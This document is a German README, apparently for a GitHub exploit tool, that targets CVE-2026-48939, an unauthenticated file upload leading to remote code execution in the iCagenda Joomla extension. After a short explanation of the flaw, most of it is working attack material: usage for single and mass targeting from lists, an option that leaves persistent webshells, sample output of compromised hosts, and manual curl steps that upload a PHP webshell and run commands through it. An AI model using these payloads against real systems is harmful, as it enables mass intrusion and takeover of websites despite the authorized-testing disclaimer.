
Pre-Authentifizierungs-Exploit für beliebigen Datei-Upload (RCE) für die iCagenda Joomla-Erweiterung < 4.0.8 (CVSS 10.0)
CVE-2026-48939 ist eine kritische Schwachstelle mit CVSS 10.0 in der iCagenda-Ereigniskalender-Erweiterung für Joomla. Das Dateianhang-Feature des Frontend-Event-Registrierungsformulars setzt Zugriffskontrollen nur auf der Ansichtsebene durch – nicht auf dem Controller – was einen nicht authentifizierten Datei-Upload ohne Erweiterungsvalidierung ermöglicht.
Hochgeladene Dateien landen direkt unter dem Web-Root unter /images/icagenda/frontend/attachments/ und sind sofort als PHP ausführbar.
| iCagenda Version | Status |
|---|---|
| 3.2.1 – 3.9.14 | Verwundbar |
| 4.0.0 – 4.0.7 | Verwundbar |
| 3.9.15 / 4.0.8+ | Gepatched |
Der registration.submit-Controller verarbeitet Datei-Uploads, ohne die in den Komponenteneinstellungen konfigurierte Zugriffsbeschränkung 'Nur registrierte Benutzer' durchzusetzen. Dateianhänge werden mit ihrer ursprünglichen Erweiterung geschrieben, ohne Zulassungsliste, MIME-Typ- oder Inhaltsvalidierung.
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Einzelnes Ziel (Domain oder IP)
-f, --file Zielliste, eine pro Zeile
-o, --output RCE-Ergebnisse in Datei speichern
--threads Gleichzeitige Arbeiter (Standard: 25)
--no-cleanup Shells auf dem Ziel belassen
-v, --verbose Detaillierte Ausgabe anzeigen
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
Schritt 1 — PHP-Webshell hochladen
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
Schritt 2 — Befehle ausführen
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
NUR ZU BILDUNGS- UND AUTORISIERTEN TESTZWECKEN.
Diese Software ist für Sicherheitsexperten gedacht, die autorisierte Penetrationstests durchführen, für Organisationen, die ihre eigene Infrastruktur überprüfen, und für Forscher, die Schwachstellenausnutzung studieren.
Unbefugter Zugriff auf Computersysteme ist illegal und kann gegen Folgendes verstoßen:
- United States: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- European Union: Directive 2013/40/EU
- United Kingdom: Computer Misuse Act 1990
Die Autoren übernehmen keine Haftung für Missbrauch.
| Resource | Link |
|---|---|
| IONIX Advisory | ionix.io/threat-center/cve-2026-48939 |
| NVD-Eintrag | CVE-2026-48939 |
| iCagenda Changelog | icagenda.com/docs |
Dieses Projekt ist nicht mit iCagenda oder Joomlic verbunden.